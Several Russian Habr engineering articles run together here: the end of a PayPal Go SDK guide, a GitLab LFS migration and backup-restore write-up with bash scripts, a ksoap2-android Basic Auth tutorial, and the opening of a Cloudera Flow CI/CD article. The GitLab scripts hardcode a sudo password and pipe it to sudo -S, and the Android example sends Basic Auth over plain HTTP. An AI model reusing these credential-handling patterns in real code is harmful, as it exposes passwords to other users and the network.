cancelURI := "http://example.com/cancel-uri"
description := "Description for this payment"
paymentResult, err := c.CreateDirectPaypalPayment(amount, redirectURI, cancelURI, description)
```
2. Платеж любого типа:
```
p := paypalsdk.Payment{
Intent: "sale",
Payer: &paypalsdk.Payer{
PaymentMethod: "credit_card",
FundingInstruments: []paypalsdk.FundingInstrument{paypalsdk.FundingInstrument{
CreditCard: &paypalsdk.CreditCard{
Number: "4111111111111111",
Type: "visa",
ExpireMonth: "11",
ExpireYear: "2020",
CVV2: "777",
FirstName: "John",
LastName: "Doe",
},
}},
},
Transactions: []paypalsdk.Transaction{paypalsdk.Transaction{
Amount: &paypalsdk.Amount{
Currency: "USD",
Total: "7.00",
},
Description: "My Payment",
}},
RedirectURLs: &paypalsdk.RedirectURLs{
ReturnURL: "http://...",
CancelURL: "http://...",
},
}
paymentResponse, err := client.CreatePayment(p)
```
**GET** /v1/payments/payment/ID — получение информации о платеже
```
payment, err := c.GetPayment(paymentID)
```
**GET** /v1/payments/payment — список всех платежей
```
payments, err := c.GetPayments()
```
**GET** /v1/payments/authorization/ID — получение информации об авторизации
```
authID := "2DC87612EK520411B"
auth, err := c.GetAuthorization(authID)
```
**POST** /v1/payments/authorization/ID/capture — блокировка авторизации
```
capture, err := c.CaptureAuthorization(authID, &paypalsdk.Amount{Total: "7.00", Currency: "USD"}, true)
```
**POST** /v1/payments/authorization/ID/void — отмена авторизации
```
auth, err := c.VoidAuthorization(authID)
```
**POST** /v1/payments/authorization/ID/reauthorize — реавторизация
```
auth, err := c.ReauthorizeAuthorization(authID, &paypalsdk.Amount{Total: "7.00", Currency: "USD"})
```
**GET** /v1/payments/sale/ID — получение объекта продажи
```
saleID := "36C38912MN9658832"
sale, err := c.GetSale(saleID)
```
**POST** /v1/payments/sale/ID/refund — возврат средств для объекта продажи. Можно сделать как полный возврат платежа, так и частичный.
```
// Full
refund, err := c.RefundSale(saleID, nil)
// Partial
refund, err := c.RefundSale(saleID, &paypalsdk.Amount{Total: "7.00", Currency: "USD"})
```
**GET** /v1/payments/refund/ID — получение информации о возврате
```
orderID := "O-4J082351X3132253H"
refund, err := c.GetRefund(orderID)
```
**GET** /v1/payments/orders/ID — получение информации о заказе
```
order, err := c.GetOrder(orderID)
```
**POST** /v1/payments/orders/ID/authorize — авторизация заказа
```
auth, err := c.AuthorizeOrder(orderID, &paypalsdk.Amount{Total: "7.00", Currency: "USD"})
```
**POST** /v1/payments/orders/ID/capture — блокировка заказа (может быть частичной или полной, в зависимости от переданных Amount и IsFinalTransaction)
```
capture, err := c.CaptureOrder(orderID, &paypalsdk.Amount{Total: "7.00", Currency: "USD"}, true, nil)
```
**POST** /v1/payments/orders/ID/do-void — отмена заказа
```
order, err := c.VoidOrder(orderID)
```
Также можно воспользоваться godoc документацией для ознакомления со всеми функциями клиента: <https://godoc.org/github.com/logpacker/PayPal-Go-SDK>
#### Тестирование и CI
В проекте реализованы два типа тестов: Unit и Integration. Unit тесты позволяют проверить работоспособность внутренних условий и валидацию.
Пример проверки входных параметров в функции NewClient:
```
_, err := NewClient("", "", "")
if err == nil {
t.Errorf("All arguments are required in NewClient()")
} else {
fmt.Println(err.Error())
}
```
Интеграционные тесты работают непосредственно с тестовыми данными на PayPal Sandbox, проверяют ответы сервера и их преобразования в go-структуры.
Данный процесс представлен на схеме ниже:
Пример проверки ответа функции CreateDirectPaypalPayment:
```
c, _ := NewClient(testClientID, testSecret, APIBaseSandBox)
c.GetAccessToken()
amount := Amount{
Total: "15.11",
Currency: "USD",
}
p, err := c.CreateDirectPaypalPayment(amount, "http://example.com", "http://example.com", "test payment")
if err != nil || p.ID == "" {
t.Errorf("Test paypal payment is not created")
}
```
Мы создали тестовый аккаунт в песочнице PayPal и используем тестовые ID для каждого вида запроса. Например, на платеже с ID PAY-5YK922393D847794YKER7MUI можно тестировать получение информации о нем. Для того, чтобы сообщить клиенту, что вы работаете с Sandbox, вам необходимо установить базовый URL API (и после тестирования поменять его на Live URL):
```
c, err := paypalsdk.NewClient("clientID", "secretID", paypalsdk.APIBaseSandBox)
```
Тесты могут быть запущены локально командой go test, но нельзя быть всегда уверенным, что код в репозитории будет всегда стабильным. Поэтому мы используем Continuous Integration (CI) для автоматического запуска теста при каждом пуше в репозиторий. Мы используем [TravisCI](https://travis-ci.org/logpacker/paypalsdk), он легко интегрируется с GitHub репозиторием, в корне нашего проекта лежит конфигурация .travis.yml:
```
language: go
go:
- 1.5
install:
- export PATH=$PATH:$HOME/gopath/bin
script:
- go test -v
```
#### Open Source и ближайшие планы
Все наши наработки вы можете найти на GitHub, они опубликованы под MIT лицнзией. В планах создать некую стандартную библиотеку для Go, обеспечить полное покрытие API (+webapps и т.д.)
Актуальную документацию можно найти на странице проекта в GitHub.
Ждем ваших коммитов и pull-реквестов на [logpacker/PayPal-Go-SDK](https://github.com/logpacker/PayPal-Go-SDK). | https://habr.com/ru/post/274555/ | null | ru | null |
# Как мы переезжали на новую версию GitLab и внедряли LFS. А потом чинили бэкапы
Исторически мы использовали GitLab 8, который работал на хосте Mac на VirtualBox. Потом конфигурация перестала устраивать, поэтому в локальной сети завели отдельную полноценную Ubuntu-машину. Заодно и GitLab обновили до версии 11.2.1-ee.
Ставили все по официальному [гайду](https://about.gitlab.com/install/#ubuntu). При установке *postfix* возникли ошибки из-за цифры в имени хоста (решилось переименованием), в остальном сложностей не было. Зато они появились позже: гит-машине перестало хватать памяти на объекты, мы подключили LFS и решили проблему, но потом сломались бэкапы. В общем, было весело. О том, как все это чинили — рассказал под катом.
### Подключение LFS
Однажды на одном из проектов гит-машине перестало хватать памяти при перепаковке объектов. Ошибка указывала на большие бинарные ассеты.
Стали ресерчить и решили покрутить параметры Git (похожие проблемы были, например, [здесь](https://github.com/hbons/SparkleShare/issues/519) и [здесь](https://stackoverflow.com/a/4829883/307547)):
```
pack.windowMemory
pack.packSizeLimit
core.packedgitwindowsize
core.packedgitlimit
core.deltacachesize
pack.deltacachesize
pack.window
pack.threads
```
Потратили какое-то время на проверку различных сочетаний параметров, но, к сожалению, это не помогло. А со временем ситуация бы только ухудшилась.
Чтобы перенести бинарные ассеты в отдельное хранилище и закрыть вопрос, решили подключить [Git Large File Storage](https://git-lfs.github.com/) (документацию по реализации можно найти [здесь](https://docs.gitlab.com/ee/topics/git/lfs/)).
```
gitlab_rails['lfs_enabled'] = true
```
в файле
```
/etc/gitlab/gitlab.rb
```
и сделать
```
sudo gitlab-ctl reconfigure
```
Список типов файлов, которые мы храним в LFS:
```
*.fbx
*.aar
*.psd
*.zip
*.png
*.exr
*.mp3
*.obj
*.a
*.o
*.pdf
*.mov
*.dylib
*.so
*.jpg
*.wav
*.blend
*.jar
*.tif
*.dll
*.ogg
```
Некоторые нативные плагины содержат большие бинарный файлы без расширений (в основном — исполняемые). Сначала хотели заводить отдельные файлы *.gitattributes* в каталогах этих плагинов и указывать в них имена этих файлов. В дальнейшем отказались от этого, чтобы не усложнять работу с репозиторием и избежать проблем в случае изменения структуры каталогов проекта. Например, при обновлении плагинов. Такие файлы сейчас хранятся у нас в обычном Git, не в LFS.
Так как мы использовали [Sourcetree](https://www.sourcetreeapp.com/) в качестве гит-клиента, а его Windows-версия тогда не очень хорошо дружила с LFS, то столкнулись с множеством проблем. Приходилось выкручиваться и как-то решать их, пока в более поздних версиях SourceTree их не пофиксил сам разработчик Atlassian.
Зато мы лучше разобрались во внутреннем устройстве Git и LFS, и сейчас все работает стабильно.
### Работа с бэкапами
Хранилище LFS также усложнило нам работу с бэкапами. Как-то раз GitLab восстановился не полностью. Причину мы тогда так и не выяснили, но фикс написали — теперь проблем с резервными копиями нет. Пойдем по порядку.
**Создание бэкапа**
Бэкап делается раз в неделю вызовом скрипта *gitlab\_backup.sh* при помощи *cron*.
Сам скрипт:
```
#!/bin/bash
backup_path="/var/opt/gitlab/manual_backups"
current_date="`date +%d:%m:%Y-%H:%M`"
new_date_backup_path="/var/opt/gitlab/backup_storage/$current_date"
fixed_backup_path="/var/opt/gitlab/backup_storage/last_backup"
sudo gitlab-ctl stop unicorn
sudo gitlab-ctl stop sidekiq
sudo gitlab-rake gitlab:backup:create
sudo rm -fr ${fixed_backup_path}
sudo mkdir ${fixed_backup_path}
sudo mkdir ${new_date_backup_path}
sudo cp -R ${backup_path}/* ${new_date_backup_path}
sudo mv ${backup_path}/* ${fixed_backup_path}
sudo gitlab-ctl restart
```
В документации нет прямой рекомендации выполнять перед созданием бэкапа, но мы делаем это для большей безопасности:
```
sudo gitlab-ctl stop unicorn
sudo gitlab-ctl stop sidekiq
```
Бэкапы регулярно копируются с этой машины и хранятся в отдельном хранилище.
**Восстановление из бэкапа**
Чтобы восстановить GitLab из резервки, заходим по *ssh* на гит-машину. Там из папки бэкапа переносим архив, имя которого оканчивается на *\_gitlab\_backup.tar (!)*, по пути */var/opt/gitlab/manual\_backups*.
Там должен находиться только выбранный для восстановления архив с правами на чтение и запись. Далее в запущенном Git останавливаем два процесса:
```
sudo gitlab-ctl stop unicorn
sudo gitlab-ctl stop sidekiq
```
Затем запускаем команду и следим за процессом восстановления в консоли, иногда утвердительно отвечая на вопросы:
```
sudo gitlab-rake gitlab:backup:restore
```
После окончания восстановления запускаем Git:
```
sudo gitlab-ctl start
```
Затем пушим ветки с тех клиентов, на которых они в наиболее актуальном состоянии — чтобы в GitLab попали коммиты и ветки, которые были созданы после последнего бэкапа.
Так все и работало, пока в один прекрасный день GitLab восстановился не полностью. При попытке переключиться на ветку он не хотел отдавать отдельные объекты LFS, а в сообщении об ошибке указывались конкретные объекты хранилища, которые были не найдены.
**Фикс хранилища LFS**
Пришлось на сервер закидывать эти объекты из тех локальных копий, где они были поштучно. Код такой:
```
scp ~/Projects/pg3d/.git/lfs/objects/32/29/3229f63c1eb75eaeae57ab3199e8b7555b44906961ef44e38be2500c470a9073 git-server@192.168.160.160:/home/git-server/
```
После этого копируем объект по нужному пути:
```
mv /home/git-server/3229f63c1eb75eaeae57ab3199e8b7555b44906961ef44e38be2500c470a9073 /var/opt/gitlab/gitlab-rails/shared/lfs-objects/32/29/f63c1eb75eaeae57ab3199e8b7555b44906961ef44e38be2500c470a907
```
*/var/opt/gitlab/gitlab-rails/shared/lfs-objects* — путь «по умолчанию» к хранилищу объектов LFS.
Ручной поштучный перенос объектов LFS был долгим и трудоемким, поэтому мы написали скрипт. Теперь при восстановлении из бэкапа не приходится ничего переносить руками, скрипт все делает за нас. Размер бэкапа на момент написания статьи составлял чуть больше 50 ГБ — в таких условиях скрипту для восстановления нужно минимум 200 ГБ свободного места.
Скрипт по *ssh* соединяется с Git-машиной:
```
/usr/bin/expect -c "spawn ssh \"git-server@192.168.160.160\" \"'/home/git-server/restore_gitlab_gitlab_side.sh'\" ; expect password; send PASSWORD\n; interact "
```
И запускает *restore\_gitlab\_gitlab\_side.sh*:
```
#!/bin/bash
SUDO_PASSW="PASSWORD"
# каталог куда сохраняются бэкапы при создании (бэкапы создаются каждую неделю заданием cron)
BACKUP_STORAGE="/var/opt/gitlab/backup_storage"
# каталог где должен лежать бэкап, из которого Гитлаб будет восстанавливаться
RESTORE_BACKUP_PATH="/var/opt/gitlab/manual_backups"
# файл бэкапа из которого будем восстанавливаться
BACKUP_TO_RESTORE="latest_gitlab_backup.tar"
```
Чистим бэкапы старше трех недель, чтобы освободить место:
```
echo "removing old backups"
cd "$BACKUP_STORAGE/" || { echo 'cd for removing older than 3-week backups failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S find "$BACKUP_STORAGE/" -type d -mtime +21 -exec rm -rf {} \;
echo "freeing additional space"
echo "$SUDO_PASSW" | sudo -S rm -fR $RESTORE_BACKUP_PATH/*
echo "$SUDO_PASSW" | sudo -S rm -fR "$BACKUP_STORAGE/last_backup/tmp"
echo "creating backup of current state"
echo "$SUDO_PASSW" | sudo -S gitlab-ctl stop unicorn || { echo 'backup of current state stop unicorn failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S gitlab-ctl stop sidekiq || { echo 'backup of current state stop sidekiq failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S gitlab-rake gitlab:backup:create || { echo 'gitlab:backup:create failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S gitlab-ctl restart || { echo 'backup of current state restart failed' ; exit 1; }
echo "moving backup of current state to backups store"
current_date=$(date +%d:%m:%Y-%H:%M)
new_date_backup_path="$BACKUP_STORAGE/$current_date"
echo "$SUDO_PASSW" | sudo -S mkdir "$new_date_backup_path" || { echo 'mkdir new_date_backup_path failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S mv $RESTORE_BACKUP_PATH/* "$new_date_backup_path" || { echo 'mv new backup failed' ; exit 1; }
echo "fixing permissions for backup of current state"
echo "$SUDO_PASSW" | sudo -S chown -R git:git "$new_date_backup_path" || { echo 'chown backup of current state failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S chmod -R 0660 "$new_date_backup_path" || { echo 'chmod backup of current state failed' ; exit 1; }
```
Кладем предыдущий бэкап (который был сделан по расписанию). Из него будем восстанавливаться:
```
echo "preparing to restore from backup"
TAR_FILE=$(echo "$SUDO_PASSW" | sudo -S ls $BACKUP_STORAGE/last_backup/*_gitlab_backup.tar)
echo "$SUDO_PASSW" | sudo -S cp "$TAR_FILE" "$RESTORE_BACKUP_PATH/$BACKUP_TO_RESTORE" || { echo 'cp backup to manual_backups failed' ; exit 1; }
echo "checking free space"
# https://unix.stackexchange.com/questions/16640/how-can-i-get-the-size-of-a-file-in-a-bash-script
BACKUP_SIZE=$(echo "$SUDO_PASSW" | sudo -S du -k "$RESTORE_BACKUP_PATH/$BACKUP_TO_RESTORE" | cut -f1)
# use backup size*3 ? https://stackoverflow.com/questions/15213127/variables-multiplication
REQUIRED_SPACE=$((BACKUP_SIZE*4))
FREE_SPACE_AVAILABLE=$(df "$PWD" | awk '/[0-9]%/{print $(NF-2)}')
if [[ $FREE_SPACE_AVAILABLE -lt $REQUIRED_SPACE ]]; then
echo "You need $REQUIRED_SPACE or more for successful restore"
exit 1
fi
echo "fixing permissions for backup"
echo "$SUDO_PASSW" | sudo -S chown git:git "$RESTORE_BACKUP_PATH/$BACKUP_TO_RESTORE" || { echo 'chown backup failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S chmod 0660 "$RESTORE_BACKUP_PATH/$BACKUP_TO_RESTORE" || { echo 'chmod backup failed' ; exit 1; }
echo "restoring"
echo "$SUDO_PASSW" | sudo -S gitlab-ctl stop unicorn || { echo 'stop unicorn failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S gitlab-ctl stop sidekiq || { echo 'stop sidekiq failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S sh -c "yes yes | gitlab-rake gitlab:backup:restore"
echo "successfully restored"
```
Теперь достанем содержимое хранилища LFS из бэкапа сломанного состояния и смержим его с восстановленным хранилищем LFS. В результате в LFS будут все файлы, которые были в GitLab на момент поломки. А вероятность того, что какой-нибудь объект потеряется — будет меньше.
```
LFS_STORE_PATH="/var/opt/gitlab/gitlab-rails/shared/lfs-objects"
# для наглядности смотрим размер хранилища LFS до мержа и после
SIZE_OF_LFS_BEFORE_MERGING=$(echo "$SUDO_PASSW" | sudo -S du -sh "$LFS_STORE_PATH")
echo "size of lfs store before merge: $SIZE_OF_LFS_BEFORE_MERGING"
echo "merging lfs of current state with restored state"
CURRENT_STATE_TAR=$(echo "$SUDO_PASSW" | sudo -S ls "$new_date_backup_path")
# lfs.tar.gz — имя подархива LFS в основном tar-файле бэкапа. Мы будем извлекать только LFS из файла бэкапа
LFS_TAR_GZ="lfs.tar.gz"
echo "$SUDO_PASSW" | sudo -S tar -xf "$new_date_backup_path/$CURRENT_STATE_TAR" -C "$new_date_backup_path" "$LFS_TAR_GZ" >/dev/null || { echo 'tar -xf lfs failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S mkdir "$new_date_backup_path/lfs_new" || { echo 'mkdir lfs_new failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S tar -xzf "$new_date_backup_path/$LFS_TAR_GZ" -C "$new_date_backup_path/lfs_new" >/dev/null || { echo 'tar -xzf lfs.tar.gz failed' ; exit 1; }
# Мерж — dажно указывать слэши в конце путей
echo "$SUDO_PASSW" | sudo -S rsync -abuP "$new_date_backup_path/lfs_new/" "$LFS_STORE_PATH/"
echo "$SUDO_PASSW" | sudo -S chown git:git "$LFS_STORE_PATH" || { echo 'chown merged lfs failed' ; exit 1; }
echo "$SUDO_PASSW" | sudo -S chmod 0755 "$LFS_STORE_PATH" || { echo 'chmod merged lfs failed' ; exit 1; }
SIZE_OF_LFS_AFTER_MERGING=$(echo "$SUDO_PASSW" | sudo -S du -sh "$LFS_STORE_PATH")
echo "size of lfs store after merge: $SIZE_OF_LFS_AFTER_MERGING"
# cleaning up
echo "$SUDO_PASSW" | sudo -S rm -fR "$new_date_backup_path/$LFS_TAR_GZ"
echo "$SUDO_PASSW" | sudo -S rm -fR "$new_date_backup_path/lfs_new"
echo "$SUDO_PASSW" | sudo -S gitlab-ctl start || { echo 'start failed' ; exit 1; }
echo "Finished"
```
После этого пушим ветки с тех клиентов, на которых они в наиболее актуальном состоянии. В общем-то, все.
**Бэкап конфигов и секретов**
GitLab [не добавляет](https://docs.gitlab.com/ee/raketasks/backup_restore.html#storing-configuration-files) в бэкап файлы конфига и секреты, поэтому мы делаем их резервные копии вручную. Но пока что ни разу не приходилось их восстанавливать.
Документация GitLab рекомендует для Omnibus-версии делать бэкапы хотя бы файлов */etc/gitlab/gitlab-secrets.json* и */etc/gitlab/gitlab.rb*. Но мы создаем резервную копию всей папки */etc/gitlab* и храним отдельно от основного бэкапа.
Кроме того, в версии 12.3 [появился функционал](https://docs.gitlab.com/omnibus/settings/backups.html) для бэкапа таких файлов. Планируем его использовать, когда обновим GitLab.
### Серверный хук для предотвращения коммита сломанных мерджей
Еще небольшой кейс вспомнился. У нас были повторяющиеся случаи, когда разработчики сбрасывали все изменения во время мерджа и коммитили его пустым.
Чтобы этого не происходило, мы добавили серверный хук с защитой от пустых коммитов:
```
#!/usr/bin/env bash
#
# Pre-receive hook that will block any empty commits
# Artists often create empty merge commits by deleting all incoming changes. This hook exists to prevent such situations.
zero_commit="0000000000000000000000000000000000000000"
# Do not traverse over commits that are already in the repository
# (e.g. in a different branch)
# This prevents funny errors if pre-receive hooks got enabled after some
# commits got already in and then somebody tries to create a new branch
# If this is unwanted behavior, just set the variable to empty
excludeExisting="--not --all"
while read oldrev newrev refname; do
echo "$refname" "$oldrev" "$newrev"
# branch or tag get deleted
if [ "$newrev" = "$zero_commit" ]; then
continue
fi
# Check for new branch or tag
if [ "$oldrev" = "$zero_commit" ]; then
span=$(git rev-list $newrev $excludeExisting)
else
span=$(git rev-list $oldrev..$newrev $excludeExisting)
fi
for COMMIT in $span;
do
# if COMMIT is root commit in repo , skip it, because $COMMIT^ will cause error
files_in_commit=$(git diff --name-status $COMMIT^ $COMMIT)
if [ $? -ne 0 ]
then
echo "$COMMIT is root commit? skipping it"
continue
fi
echo "$files_in_commit"
# sed - for skipping blank lines
cnt_files_in_commit=$(echo "$files_in_commit" | sed '/^\s*$/d' | wc -l)
echo "$cnt_files_in_commit"
if [ "$cnt_files_in_commit" -eq 0 ]
then
echo "$COMMIT is empty, cannot push empty commits"
exit 1
fi
done
done
exit 0
```
Положили его по этому пути:
```
/var/opt/gitlab/git-data/repositories/USER/PROJECT.git/hooks/pre-receive.d
```
Здесь важно не забыть дать скрипту права на выполнение. Подробнее про хуки в GitLab можно прочитать по [ссылке](https://docs.gitlab.com/ee/administration/server_hooks.html).
### Вместо заключения
В дальнейшем планируем обновить GitLab до актуальной версии. А еще собираемся дополнить наш скрипт восстановления из бэкапа парой новых:
* скриптом проверки целостности хранилища LFS на основе [этого](https://docs.gitlab.com/ee/administration/raketasks/check.html#uploaded-files-integrity);
* скриптом актуализации содержимого базы данных LFS и файлов LFS на диске на основе [этого](https://docs.gitlab.com/ee/topics/git/lfs/#missing-lfs-objects) и [этого](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49241). | https://habr.com/ru/post/573686/ | null | ru | null |
# Добавляем Basic Auth в SOAP запрос средствами ksoap2-android
Так получилось, что в рамках своей работы я связался с проектом по разработке приложения для общения Android и 1С. Быстрый поиск в интернете дал достаточно четкие инструкции и куски кода, которые очень быстро оформились в готовую программу, но запускаться она не хотела. Здесь я расскажу основные тонкости и способы их решения.
Первоисточники кода расписаны [здесь](https://habrahabr.ru/post/145389/) и [тут](http://www.cyberforum.ru/android-dev/thread909551.html). Необходимо только подключить стороннюю библиотеку ksoap2-android, чтобы стали доступны классы SoapObject и HttpTransportSE. Старый проверенный способ скачать jar с [официального репозитория](https://oss.sonatype.org/content/repositories/ksoap2-android-releases) и положить его в app/libs почему-то не увенчался успехом, и я стал смотреть, как подключить библиотеку используя современный Gradle. Почти на всех ресурсах было написано, что простое добавление
```
dependencies {
compile 'com.google.code.ksoap2-android:ksoap2-android:3.6.1'
}
```
должно «подтягивать» нужные ресурсы. Но этого не произошло, т.к. сам ресурс не находится в стандартных репозиториях. Значит, надо указать, откуда его скачивать. Делается это добавлением в Gradle файл проекта следующих строк:
```
buildTypes {
repositories {
maven { url 'https://oss.sonatype.org/content/repositories/ksoap2-android-releases' }
}
}
```
После этих простых действий просто синхронизируем проект, и Gradle закачает все, что нужно.
Вот код, который начинает работать после вышеописанных процедур:
```
public class DataLoader extends AsyncTask {
private static final String NAMESPACE = "namespace";
private static final String URL = "http://host/wsdlAcceptor?wsdl";
private static final String SOAP\_ACTION = "http://host/wsdlAcceptor";
private static final String METHOD\_NAME = "testOperation";
@Override
protected void onPreExecute() {
super.onPreExecute();
}
@Override
protected String doInBackground(Void... params) {
try {
SoapObject request = new SoapObject(NAMESPACE, METHOD\_NAME);
SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER10);
request.addProperty("IsFirstRequest", true);
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
androidHttpTransport.debug = true;
try {
androidHttpTransport.call(SOAP\_ACTION, envelope);
SoapObject resultsRequestSOAP = (SoapObject) envelope.bodyIn;
System.out.println("Response::"+resultsRequestSOAP.toString());
} catch (Exception e) {
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
@Override
protected void onPostExecute(String result) {
super.onPostExecute(result);
}
}
```
Не секрет, что работа с любой сетевой активностью должна делаться из отдельной асинхронной задачи. doInBackground – это стандартный метод AsyncTask. Если еще не знакомы, то [вот здесь](http://developer.alexanderklimov.ru/android/theory/asynctask.php) про него написано просто и очень понятно.
Сама MainActivity выглядит следующим образом:
```
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
DataLoader dl = new DataLoader();
dl.execute();
}
}
```
На этом приключения не заканчиваются. В моем случае запрос к серверу был закрыт Basic Auth, поэтому потребовалось куда-то вводить логин и пароль. И вот на этот вопрос однозначного ответа в интернете я не нашел. Во многих статьях был упомянут некий класс HttpTransportBasicAuthSE, в конструктор которого и передается логин с паролем. Но его было не найти в ksoap2-android, пришлось искать в интернете. Нашелся [здесь](http://www.itgo.me/a/2508423843429551596/accessing-http-authentificated-soap-webservice-via-ksoap2-httptransportbasicauth). Привожу полный текст:
```
public class HttpTransportBasicAuthSE extends HttpTransportSE {
private String username;
private String password;
/**
* Constructor with username and password
*
* @param url
* The url address of the webservice endpoint
* @param username
* Username for the Basic Authentication challenge RFC 2617
* @param password
* Password for the Basic Authentication challenge RFC 2617
*/
public HttpTransportBasicAuthSE(String url, String username, String password) {
super(url);
this.username = username;
this.password = password;
}
public ServiceConnection getServiceConnection() throws IOException {
ServiceConnectionSE midpConnection = new ServiceConnectionSE(url);
addBasicAuthentication(midpConnection);
return midpConnection;
}
protected void addBasicAuthentication(ServiceConnection midpConnection) throws IOException {
if (username != null && password != null) {
StringBuffer buf = new StringBuffer(username);
buf.append(':').append(password);
byte[] raw = buf.toString().getBytes();
buf.setLength(0);
buf.append("Basic ");
org.kobjects.base64.Base64.encode(raw, 0, raw.length, buf);
midpConnection.setRequestProperty("Authorization", buf.toString());
}
}
}
```
Полагаю, комментарии к коду излишни. Уточню только, что для применения HttpTransportBasicAuthSE достаточно просто изменить строку в DataLoader
```
HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
```
на
```
HttpTransportBasicAuthSE androidHttpTransport = new HttpTransportBasicAuthSE(URL, "basicLogin", "authPassword");
```
и все начинает работать с авторизацией очень четко!
P.S.: не забывайте добавлять в Manifest разрешение на Internet
```
``` | https://habr.com/ru/post/340642/ | null | ru | null |
# Архитектура непрерывной потоковой доставки в Cloudera Flow Management
Cloudera Flow Management, основанная на Apache NiFi и являющаяся частью платформы Cloudera DataFlow, используется некоторыми из крупнейших организаций в мире для обеспечения простого в использовании, мощного и надежного способа распределения и высокоскоростной обработки данных в современной экосистеме больших данных. Клиенты все чаще используют CFM для ускорения обработки потоковых данных на предприятии от концепции до реализации. Интерфейс разработки потоков Cloudera отличается от типичных стилей структурированного кодирования, что часто создает проблему применения лучших практик непрерывного совершенствования/непрерывной доставки (CI/CD) в стиле DevOps для доставки потоков.
В этом блоге мы рассмотрим сквозной жизненный цикл процесса потока данных, который способствует непрерывной доставке с минимальным временем простоя. Мы надеемся, что вы почувствуете вдохновение, чтобы внедрить некоторые из этих идей в свои собственные процессы Cloudera Flow Management CD. Ниже представлена архитектура подобного решения:
Архитектура непрерывной потоковой доставки В этом процессе можно выделить следующие шаги.
#### 1. Разработка
Разработчики проектируют DataFlow и тестируют его в общем многопользовательском DEV кластере. Команда может работать только в своих собственных группах процессов, контролируемых политиками Apache Ranger для NiFi. Если какие-либо группы потребуют изменить или добавить службу корневого контроллера, администратор поможет с этим изменением и скопирует его в выделенную группу процессов root\_controller\_services.
#### 2. Контроль версий
Для контроля версий разработчики вручную добавляют или обновляют протестированные потоки в DEV раздел NiFi Registry. При заданных политиках в Apache Ranger для NiFi Registry одна команда может наблюдать только за назначенным ей сегментом. Администратор обновляет версию группы процессов root\_controller\_services в сегменте администратора реестра.
#### 3. Запрос Source Change
Чтобы разработчики не переносили потоки, которые все еще проходят тестирование, в среду более высокого уровня, они должны создать файл запроса на изменение (source change) для коллегиальной проверки исходника после тестирования потоков. Этот файл находится в проекте git изменений исходника. Разработчики создают новую ветку этого проекта git, а затем обновляют файл source\_change\_request.json, чтобы он содержал измененные потоки и версии. Если какие-то службы корневого контроллера были обновлены, администратор обновит версию группы процессов root\_controller\_services в файле source\_change\_request.json.
Как только все они будут готовы, владелец изменения должен дать запрос git pull, чтобы выполнить Peer Review.
```
{
"env": "dev",
"nifi_api_url": "https://nifi-dev.example.cloudera.com:9091/nifi-api",
"reg_api_url": "https://registry-dev.example.cloudera.com:61443/nifi-registry-api",
"reg_client_name": "registry-dev.example.cloudera.com",
"buckets": [
{
"name": "teama_bucket",
"flows": [
{"name": "flowa1_feeding", "version": "2"},
{"name": "flowa1_digestion", "version": "2"},
]
},
{
"name": "admin_bucket",
"flows": [
{"name": "root_controller_services", "version": "1"}
]
}
]
}
```
*Пример source\_change\_request.json*
#### 4. Peer Review
Члены команды рецензируют код, проверяя статус потока и тестируя в DEV NiFi.
#### 5. Утверждение изменений Source Change
Если команда подтверждает, что изменение готово к продвижению, они могут объединить этот запрос с главной ветвью проекта изменения исходника.
#### 6. Продвижение на более высокий уровень
Cloudera предлагает создать задание Jenkins для запуска скрипта python Promo\_source\_changes.py, отслеживая главную ветвь проекта изменения исходника. Этот скрипт использует NiFi / NiFi Registry API для экспорта версии потока из DEV NiFi Registry, а затем импортирует ее в UAT NiFi Registry. Пример кода:
```
for bucket in source_env_conf['buckets']:
login_env(source_env_conf)
source_bucket = nipyapi.versioning.get_registry_bucket(bucket['name'])
for flow in bucket['flows'][:]:
# Check out a flow from Source NiFi Registry
login_env(source_env_conf)
source_versioned_flow = nipyapi.versioning.get_flow_in_bucket(source_bucket.identifier, identifier=flow['name'])
exported_flow = nipyapi.versioning.export_flow_version(bucket_id=source_bucket.identifier, flow_id=source_versioned_flow.identifier, version=flow['version'], mode='yaml')
# Version control this flow in Dest NiFi Registry
login_env(dest_env_conf)
dest_bucket = nipyapi.versioning.get_registry_bucket(dest_env_conf['buckets'][0])
dest_flow = nipyapi.versioning.get_flow_in_bucket(bucket_id=dest_bucket.identifier, identifier=flow['name'])
if dest_flow is None:
imported_flow = nipyapi.versioning.import_flow_version(bucket_id=dest_bucket.identifier, encoded_flow=exported_flow, flow_name=flow['name'])
else:
imported_flow = nipyapi.versioning.import_flow_version(bucket_id=dest_bucket.identifier, encoded_flow=exported_flow, flow_id=dest_flow.identifier)
log.info("Flow %s Version %s is imported from ENV %s into ENV %s.", flow['name'], flow['version'], source_env_conf['env'], dest_env_conf['env'])
# Remove promoted flow from the json
if flow in bucket['flows']:
bucket['flows'].remove(flow)
log.info("All %d flows in %s bucket %s are imported into %s bucket %s.", len(bucket['flows']), source_env_conf['env'], bucket['name'], dest_env_conf['env'], dest_env_conf['buckets'][0])
```
*Пример promote\_source\_changes.py*
#### 7. Запрос Destination Change
В реестре UAT NiFi скрипт generate\_dest\_change\_request.sh зарегистрирован как перехватчик событий реестра.
```
org.apache.nifi.registry.provider.hook.ScriptEventHookProvider
/var/cloudera/flow\_cd/generate\_dest\_change\_request.sh
/var/cloudera/flow\_cd/
CREATE\_FLOW\_VERSION
```
*Конфигурация NiFi Registry Event Hook*
```
CREATE_FLOW_VERSION feeb0fbe-5d7e-4363-b58b-142fa80775e1
1a0b614c-3d0f-471a-b6b1-645e6091596d 4 flow_cd Update-Attributes
```
